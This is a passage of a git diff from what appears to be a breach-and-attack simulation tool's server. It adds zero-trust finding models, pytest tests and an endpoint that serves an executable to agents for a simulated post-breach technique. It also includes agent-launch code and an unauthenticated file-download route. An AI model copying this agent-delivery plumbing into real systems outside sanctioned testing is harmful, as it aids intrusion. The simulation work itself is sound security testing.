ScoutSuite report data dump. + """ + + # SCHEMA + scoutsuite_data = DynamicField(required=True) + + # LOGIC + @staticmethod + def add_scoutsuite_data(scoutsuite_data: str) -> None: + try: + current_data = ScoutSuiteRawDataJson.objects()[0] + except IndexError: + current_data = ScoutSuiteRawDataJson() + current_data.scoutsuite_data = scoutsuite_data + current_data.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py new file mode 100644 index 000000000..9e36e46c5 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py @@ -0,0 +1,20 @@ +from __future__ import annotations + +from mongoengine import LazyReferenceField + +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails + + +class ScoutSuiteFinding(Finding): + # We put additional info into a lazy reference field, because this info should be only + # pulled when explicitly needed due to performance + details = LazyReferenceField(ScoutSuiteFindingDetails, required=True) + + @staticmethod + def save_finding(test: str, + status: str, + detail_ref: ScoutSuiteFindingDetails) -> ScoutSuiteFinding: + finding = ScoutSuiteFinding(test=test, status=status, details=detail_ref) + finding.save() + return finding diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py new file mode 100644 index 000000000..cbc8c5f29 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py @@ -0,0 +1,14 @@ +from mongoengine import Document, EmbeddedDocumentListField + +from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule + + +class ScoutSuiteFindingDetails(Document): + + # SCHEMA + scoutsuite_rules = EmbeddedDocumentListField(document_type=ScoutSuiteRule, required=False) + + def add_rule(self, rule: ScoutSuiteRule) -> None: + if rule not in self.scoutsuite_rules: + self.scoutsuite_rules.append(rule) + self.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py new file mode 100644 index 000000000..fcf09df9c --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py @@ -0,0 +1,25 @@ +from mongoengine import DynamicField, EmbeddedDocument, IntField, ListField, StringField + +from monkey_island.cc.services.zero_trust.scoutsuite.consts import rule_consts + + +class ScoutSuiteRule(EmbeddedDocument): + """ + This model represents ScoutSuite security rule check results: + how many resources break the security rule + security rule description and remediation and etc. + """ + + # SCHEMA + description = StringField(required=True) + path = StringField(required=True) + level = StringField(required=True, options=rule_consts.RULE_LEVELS) + items = ListField() + dashboard_name = StringField(required=True) + checked_items = IntField(min_value=0) + flagged_items = IntField(min_value=0) + service = StringField(required=True) + rationale = StringField(required=True) + remediation = StringField(required=False) + compliance = DynamicField(required=False) + references = ListField(required=False) diff --git a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py deleted file mode 100644 index 60262fbfd..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py +++ /dev/null @@ -1,50 +0,0 @@ -from mongoengine import StringField - -import common.data.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.finding import Finding - - -def need_to_overwrite_status(saved_status, new_status): - return (saved_status == zero_trust_consts.STATUS_PASSED) and (new_status == zero_trust_consts.STATUS_FAILED) - - -class SegmentationFinding(Finding): - first_subnet = StringField() - second_subnet = StringField() - - @staticmethod - def create_or_add_to_existing_finding(subnets, status, segmentation_event): - """ - Creates a segmentation finding. If a segmentation finding with the relevant subnets already exists, adds the - event to the existing finding, and the "worst" status is chosen (i.e. if the existing one is "Failed" it will - remain so). - - :param subnets: the 2 subnets of this finding. - :param status: STATUS_PASSED or STATUS_FAILED - :param segmentation_event: The specific event - """ - assert len(subnets) == 2 - - # Sort them so A -> B and B -> A segmentation findings will be the same one. - subnets.sort() - - existing_findings = SegmentationFinding.objects(first_subnet=subnets[0], second_subnet=subnets[1]) - - if len(existing_findings) == 0: - # No finding exists - create. - new_finding = SegmentationFinding( - first_subnet=subnets[0], - second_subnet=subnets[1], - test=zero_trust_consts.TEST_SEGMENTATION, - status=status, - events=[segmentation_event] - ) - new_finding.save() - else: - # A finding exists (should be one). Add the event to it. - assert len(existing_findings) == 1 - existing_finding = existing_findings[0] - existing_finding.events.append(segmentation_event) - if need_to_overwrite_status(existing_finding.status, status): - existing_finding.status = status - existing_finding.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py deleted file mode 100644 index 91452dc0e..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py +++ /dev/null @@ -1,64 +0,0 @@ -import unittest - -import mongomock -from packaging import version - -import common.data.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.aggregate_finding import \ - AggregateFinding -from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.testing.IslandTestCase import IslandTestCase - - -class TestAggregateFinding(IslandTestCase): - - @unittest.skipIf(version.parse(mongomock.__version__) <= version.parse("3.19.0"), - "mongomock version doesn't support this test") - def test_create_or_add_to_existing(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - - test = zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE - status = zero_trust_consts.STATUS_VERIFY - events = [Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)] - self.assertEqual(len(Finding.objects(test=test, status=status)), 0) - - AggregateFinding.create_or_add_to_existing(test, status, events) - - self.assertEqual(len(Finding.objects(test=test, status=status)), 1) - self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 1) - - AggregateFinding.create_or_add_to_existing(test, status, events) - - self.assertEqual(len(Finding.objects(test=test, status=status)), 1) - self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 2) - - @unittest.skipIf(version.parse(mongomock.__version__) <= version.parse("3.19.0"), - "mongomock version doesn't support this test") - def test_create_or_add_to_existing_2_tests_already_exist(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - - test = zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE - status = zero_trust_consts.STATUS_VERIFY - event = Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) - events = [event] - self.assertEqual(len(Finding.objects(test=test, status=status)), 0) - - Finding.save_finding(test, status, events) - - self.assertEqual(len(Finding.objects(test=test, status=status)), 1) - self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 1) - - AggregateFinding.create_or_add_to_existing(test, status, events) - - self.assertEqual(len(Finding.objects(test=test, status=status)), 1) - self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 2) - - Finding.save_finding(test, status, events) - - self.assertEqual(len(Finding.objects(test=test, status=status)), 2) - - with self.assertRaises(AssertionError): - AggregateFinding.create_or_add_to_existing(test, status, events) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py index 4a5afba50..f4044c037 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_event.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py @@ -1,23 +1,20 @@ +import pytest from mongoengine import ValidationError -import common.data.zero_trust_consts as zero_trust_consts +import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.testing.IslandTestCase import IslandTestCase -class TestEvent(IslandTestCase): +class TestEvent: def test_create_event(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - - with self.assertRaises(ValidationError): + with pytest.raises(ValidationError): _ = Event.create_event( title=None, # title required message="bla bla", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK ) - with self.assertRaises(ValidationError): + with pytest.raises(ValidationError): _ = Event.create_event( title="skjs", message="bla bla", diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py deleted file mode 100644 index e221dacb1..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/test_finding.py +++ /dev/null @@ -1,40 +0,0 @@ -from mongoengine import ValidationError - -import common.data.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.testing.IslandTestCase import IslandTestCase - - -class TestFinding(IslandTestCase): - """ - Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and - won't work. - - Also, the working directory needs to be the working directory from which you usually run the island so the - server.json file is found and loaded. - """ - - def test_save_finding_validation(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - - with self.assertRaises(ValidationError): - _ = Finding.save_finding(test="bla bla", status=zero_trust_consts.STATUS_FAILED, events=[]) - - with self.assertRaises(ValidationError): - _ = Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status="bla bla", events=[]) - - def test_save_finding_sanity(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - - self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 0) - - event_example = Event.create_event( - title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) - Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED, events=[event_example]) - - self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1) - self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py new file mode 100644 index 000000000..56a4066e1 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py @@ -0,0 +1,39 @@ +import pytest +from mongoengine import ValidationError + +import common.common_consts.zero_trust_consts as zero_trust_consts +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding +from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails +from monkey_island.cc.test_common.fixtures import FixtureEnum + +MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails() +MONKEY_FINDING_DETAIL_MOCK.events = ['mock1', 'mock2'] + + +class TestMonkeyFinding: + + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + def test_save_finding_validation(self): + with pytest.raises(ValidationError): + _ = MonkeyFinding.save_finding(test="bla bla", + status=zero_trust_consts.STATUS_FAILED, + detail_ref=MONKEY_FINDING_DETAIL_MOCK) + + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + def test_save_finding_sanity(self): + assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 + + event_example = Event.create_event( + title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) + monkey_details_example = MonkeyFindingDetails() + monkey_details_example.events.append(event_example) + monkey_details_example.save() + MonkeyFinding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED, + detail_ref=monkey_details_example) + + assert len(MonkeyFinding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1 + assert len(MonkeyFinding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 + assert len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 diff --git a/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py new file mode 100644 index 000000000..723b428ff --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py @@ -0,0 +1,41 @@ +import pytest +from mongoengine import ValidationError + +import common.common_consts.zero_trust_consts as zero_trust_consts +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails +from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding +from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails +from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES +from monkey_island.cc.test_common.fixtures import FixtureEnum + +MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails() +MONKEY_FINDING_DETAIL_MOCK.events = ['mock1', 'mock2'] +SCOUTSUITE_FINDING_DETAIL_MOCK = ScoutSuiteFindingDetails() +SCOUTSUITE_FINDING_DETAIL_MOCK.scoutsuite_rules = [] + + +class TestScoutSuiteFinding: + + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + def test_save_finding_validation(self): + with pytest.raises(ValidationError): + _ = ScoutSuiteFinding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, + status="bla bla", + detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK) + + @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) + def test_save_finding_sanity(self): + assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 + + rule_example = RULES[0] + scoutsuite_details_example = ScoutSuiteFindingDetails() + scoutsuite_details_example.scoutsuite_rules.append(rule_example) + scoutsuite_details_example.save() + ScoutSuiteFinding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED, + detail_ref=scoutsuite_details_example) + + assert len(ScoutSuiteFinding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1 + assert len(ScoutSuiteFinding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 + assert len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 diff --git a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py deleted file mode 100644 index b375d97a9..000000000 --- a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py +++ /dev/null @@ -1,53 +0,0 @@ -import common.data.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.segmentation_finding import \ - SegmentationFinding -from monkey_island.cc.testing.IslandTestCase import IslandTestCase - - -class TestSegmentationFinding(IslandTestCase): - def test_create_or_add_to_existing_finding(self): - self.fail_if_not_testing_env() - self.clean_finding_db() - - first_segment = "1.1.1.0/24" - second_segment = "2.2.2.0-2.2.2.254" - third_segment = "3.3.3.3" - event = Event.create_event("bla", "bla", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) - - SegmentationFinding.create_or_add_to_existing_finding( - subnets=[first_segment, second_segment], - status=zero_trust_consts.STATUS_FAILED, - segmentation_event=event - ) - - self.assertEqual(len(SegmentationFinding.objects()), 1) - self.assertEqual(len(SegmentationFinding.objects()[0].events), 1) - - SegmentationFinding.create_or_add_to_existing_finding( - # !!! REVERSE ORDER - subnets=[second_segment, first_segment], - status=zero_trust_consts.STATUS_FAILED, - segmentation_event=event - ) - - self.assertEqual(len(SegmentationFinding.objects()), 1) - self.assertEqual(len(SegmentationFinding.objects()[0].events), 2) - - SegmentationFinding.create_or_add_to_existing_finding( - # !!! REVERSE ORDER - subnets=[first_segment, third_segment], - status=zero_trust_consts.STATUS_FAILED, - segmentation_event=event - ) - - self.assertEqual(len(SegmentationFinding.objects()), 2) - - SegmentationFinding.create_or_add_to_existing_finding( - # !!! REVERSE ORDER - subnets=[second_segment, third_segment], - status=zero_trust_consts.STATUS_FAILED, - segmentation_event=event - ) - - self.assertEqual(len(SegmentationFinding.objects()), 3) diff --git a/monkey/monkey_island/cc/resources/T1216_pba_file_download.py b/monkey/monkey_island/cc/resources/T1216_pba_file_download.py new file mode 100644 index 000000000..ac52b77f8 --- /dev/null +++ b/monkey/monkey_island/cc/resources/T1216_pba_file_download.py @@ -0,0 +1,17 @@ +import os + +import flask_restful +from flask import send_from_directory + +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH + + +class T1216PBAFileDownload(flask_restful.Resource): + """ + File download endpoint used by monkey to download executable file for T1216 ("Signed Script Proxy Execution" PBA) + """ + + def get(self): + executable_file_name = 'T1216_random_executable.exe' + return send_from_directory(directory=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'resources', 'pba'), + filename=executable_file_name) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 71611221c..b188955d8 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -46,7 +46,8 @@ class Authenticate(flask_restful.Resource): secret = credentials["password"] # If the user and password have been previously registered if self._authenticate(username, secret): - access_token = flask_jwt_extended.create_access_token(identity=user_store.UserStore.username_table[username].id) + access_token = flask_jwt_extended.create_access_token( + identity=user_store.UserStore.username_table[username].id) logger.debug(f"Created access token for user {username} that begins with {access_token[:4]}") return make_response({"access_token": access_token, "error": ""}, 200) else: diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index 4e80d5bf9..b27116aa9 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -2,8 +2,7 @@ import flask_restful from flask import make_response, request import monkey_island.cc.environment.environment_singleton as env_singleton -from common.utils.exceptions import (InvalidRegistrationCredentialsError, - RegistrationNotNeededError) +from common.utils.exceptions import InvalidRegistrationCredentialsError, RegistrationNotNeededError from monkey_island.cc.environment.user_creds import UserCreds diff --git a/monkey/monkey_island/cc/resources/island_logs.py b/monkey/monkey_island/cc/resources/island_logs.py index 5d1d6d276..b643f2147 100644 --- a/monkey/monkey_island/cc/resources/island_logs.py +++ b/monkey/monkey_island/cc/resources/island_logs.py @@ -15,5 +15,5 @@ class IslandLog(flask_restful.Resource): def get(self): try: return IslandLogService.get_log_file() - except Exception as e: + except Exception: logger.error('Monkey Island logs failed to download', exc_info=True) diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index d743fc835..1a388db0a 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -8,9 +8,10 @@ import flask_restful from flask import jsonify, make_response, request import monkey_island.cc.environment.environment_singleton as env_singleton -from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.models import Monkey -from monkey_island.cc.network_utils import local_ip_addresses +from monkey_island.cc.services.utils.network_utils import local_ip_addresses +from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.resources.monkey_download import get_monkey_executable from monkey_island.cc.services.node import NodeService @@ -46,15 +47,16 @@ def run_local_monkey(): args = ['"%s" m0nk3y -s %s:%s' % (target_path, local_ip_addresses()[0], env_singleton.env.get_island_port())] if sys.platform == "win32": args = "".join(args) - pid = subprocess.Popen(args, shell=True).pid + subprocess.Popen(args, shell=True).pid except Exception as exc: logger.error('popen failed', exc_info=True) return False, "popen failed: %s" % exc - return True, "pis: %s" % pid + return True, "" class LocalRun(flask_restful.Resource): + @jwt_required def get(self): NodeService.update_dead_monkeys() island_monkey = NodeService.get_monkey_island_monkey() @@ -65,6 +67,7 @@ class LocalRun(flask_restful.Resource): return jsonify(is_running=is_monkey_running) + @jwt_required def post(self): body = json.loads(request.data) if body.get('action') == 'run': diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 0962e6dd5..0e6fe0370 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -5,8 +5,7 @@ import dateutil.parser import flask_restful from flask import request -from monkey_island.cc.consts import \ - DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS +from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS from monkey_island.cc.database import mongo from monkey_island.cc.models.monkey_ttl import create_monkey_ttl_document from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py index d5b30e9a8..c9d3127a4 100644 --- a/monkey/monkey_island/cc/resources/monkey_download.py +++ b/monkey/monkey_island/cc/resources/monkey_download.py @@ -6,7 +6,7 @@ import os import flask_restful from flask import request, send_from_directory -from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH __author__ = 'Barak' diff --git a/monkey/monkey_island/cc/resources/node_states.py b/monkey/monkey_island/cc/resources/node_states.py index 0b50ac34c..87be11ab5 100644 --- a/monkey/monkey_island/cc/resources/node_states.py +++ b/monkey/monkey_island/cc/resources/node_states.py @@ -1,8 +1,7 @@ import flask_restful from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.utils.node_states import \ - NodeStates as NodeStateList +from monkey_island.cc.services.utils.node_states import NodeStates as NodeStateList class NodeStates(flask_restful.Resource): diff --git a/monkey/monkey_island/cc/resources/pba/T1216_random_executable.exe b/monkey/monkey_island/cc/resources/pba/T1216_random_executable.exe new file mode 100644 index 000000000..88335be70 Binary files /dev/null and b/monkey/monkey_island/cc/resources/pba/T1216_random_executable.exe differ diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py index ad0786f4f..4fe05c98f 100644 --- a/monkey/monkey_island/cc/resources/pba_file_download.py +++ b/monkey/monkey_island/cc/resources/pba_file_download.py @@ -1,7 +1,7 @@ import flask_restful from flask import send_from_directory -from monkey_island.cc.services.post_breach_files import UPLOADS_DIR +from monkey_island.cc.services.post_breach_files import ABS_UPLOAD_PATH __author__ = 'VakarisZ' @@ -13,4 +13,4 @@ class PBAFileDownload(flask_restful.Resource): # Used by monkey. can't secure. def get(self, path): - return send_from_directory(UPLOADS_DIR, path) + return send_from_directory(ABS_UPLOAD_PATH, path) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index b18fd7b2f..6d6795f74 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -8,8 +8,8 @@ from werkzeug.utils import secure_filename from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.post_breach_files import ( - PBA_LINUX_FILENAME_PATH, PBA_WINDOWS_FILENAME_PATH, UPLOADS_DIR) +from monkey_island.cc.services.post_breach_files import (ABS_UPLOAD_PATH, PBA_LINUX_FILENAME_PATH, + PBA_WINDOWS_FILENAME_PATH) __author__ = 'VakarisZ' @@ -25,7 +25,7 @@ class FileUpload(flask_restful.Resource): """ def __init__(self): # Create all directories on the way if they don't exist - UPLOADS_DIR.mkdir(parents=True, exist_ok=True) + ABS_UPLOAD_PATH.mkdir(parents=True, exist_ok=True) @jwt_required def get(self, file_type): @@ -39,7 +39,7 @@ class FileUpload(flask_restful.Resource): filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH)) else: filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH)) - return send_from_directory(UPLOADS_DIR, filename) + return send_from_directory(ABS_UPLOAD_PATH, filename) @jwt_required def post(self, file_type): @@ -64,7 +64,7 @@ class FileUpload(flask_restful.Resource): """ filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH filename = ConfigService.get_config_value(filename_path) - file_path = UPLOADS_DIR.joinpath(filename) + file_path = ABS_UPLOAD_PATH.joinpath(filename) try: if os.path.exists(file_path): os.remove(file_path) @@ -83,7 +83,7 @@ class FileUpload(flask_restful.Resource): :return: filename string """ filename = secure_filename(request_.files['filepond'].filename) - file_path = UPLOADS_DIR.joinpath(filename).absolute() + file_path = ABS_UPLOAD_PATH.joinpath(filename).absolute() request_.files['filepond'].save(str(file_path)) ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename) return filename diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py deleted file mode 100644 index a0ea8b0b9..000000000 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ /dev/null @@ -1,41 +0,0 @@ -import http.client - -import flask_restful -from flask import jsonify - -from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.reporting.report import ReportService -from monkey_island.cc.services.reporting.zero_trust_service import \ - ZeroTrustService - -ZERO_TRUST_REPORT_TYPE = "zero_trust" -SECURITY_REPORT_TYPE = "security" -REPORT_TYPES = [SECURITY_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE] - -REPORT_DATA_PILLARS = "pillars" -REPORT_DATA_FINDINGS = "findings" -REPORT_DATA_PRINCIPLES_STATUS = "principles" - -__author__ = ["itay.mizeretz", "shay.nehmad"] - - -class Report(flask_restful.Resource): - - @jwt_required - def get(self, report_type=SECURITY_REPORT_TYPE, report_data=None): - if report_type == SECURITY_REPORT_TYPE: - return ReportService.get_report() - elif report_type == ZERO_TRUST_REPORT_TYPE: - if report_data == REPORT_DATA_PILLARS: - return jsonify({ - "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(), - "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(), - "grades": ZeroTrustService.get_pillars_grades() - } - ) - elif report_data == REPORT_DATA_PRINCIPLES_STATUS: - return jsonify(ZeroTrustService.get_principles_status()) - elif report_data == REPORT_DATA_FINDINGS: - return jsonify(ZeroTrustService.get_all_findings()) - - flask_restful.abort(http.client.NOT_FOUND) diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 7463a9857..041d38b5e 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -5,7 +5,7 @@ import flask_restful from flask import jsonify, make_response, request from monkey_island.cc.database import mongo -from monkey_island.cc.network_utils import local_ip_addresses +from monkey_island.cc.services.utils.network_utils import local_ip_addresses from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.database import Database from monkey_island.cc.services.infection_lifecycle import InfectionLifecycle diff --git a/monkey/monkey_island/cc/resources/security_report.py b/monkey/monkey_island/cc/resources/security_report.py new file mode 100644 index 000000000..db434d616 --- /dev/null +++ b/monkey/monkey_island/cc/resources/security_report.py @@ -0,0 +1,11 @@ +import flask_restful + +from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.reporting.report import ReportService + + +class SecurityReport(flask_restful.Resource): + + @jwt_required + def get(self): + return ReportService.get_report() diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index efdeb34b3..75feb20a4 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -6,13 +6,13 @@ import dateutil import flask_restful from flask import request +from common.common_consts.telem_categories import TelemCategoryEnum from monkey_island.cc.database import mongo from monkey_island.cc.models.monkey import Monkey from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.processing import \ - process_telemetry +from monkey_island.cc.services.telemetry.processing.processing import process_telemetry __author__ = 'Barak' @@ -45,6 +45,7 @@ class Telemetry(flask_restful.Resource): @TestTelemStore.store_test_telem def post(self): telemetry_json = json.loads(request.data) + telemetry_json['data'] = json.loads(telemetry_json['data']) telemetry_json['timestamp'] = datetime.now() telemetry_json['command_control_channel'] = {'src': request.remote_addr, 'dst': request.host} @@ -74,7 +75,7 @@ class Telemetry(flask_restful.Resource): monkey_label = telem_monkey_guid x["monkey"] = monkey_label objects.append(x) - if x['telem_category'] == 'system_info' and 'credentials' in x['data']: + if x['telem_category'] == TelemCategoryEnum.SYSTEM_INFO and 'credentials' in x['data']: for user in x['data']['credentials']: if -1 != user.find(','): new_user = user.replace(',', '.') diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 17f263320..3da328b99 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -6,6 +6,7 @@ import flask_pymongo import flask_restful from flask import request +from common.common_consts.telem_categories import TelemCategoryEnum from monkey_island.cc.database import mongo from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.node import NodeService @@ -109,11 +110,11 @@ class TelemetryFeed(flask_restful.Resource): TELEM_PROCESS_DICT = \ { - 'tunnel': TelemetryFeed.get_tunnel_telem_brief, - 'state': TelemetryFeed.get_state_telem_brief, - 'exploit': TelemetryFeed.get_exploit_telem_brief, - 'scan': TelemetryFeed.get_scan_telem_brief, - 'system_info': TelemetryFeed.get_systeminfo_telem_brief, - 'trace': TelemetryFeed.get_trace_telem_brief, - 'post_breach': TelemetryFeed.get_post_breach_telem_brief + TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief, + TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief, + TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief, + TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief, + TelemCategoryEnum.SYSTEM_INFO: TelemetryFeed.get_systeminfo_telem_brief, + TelemCategoryEnum.TRACE: 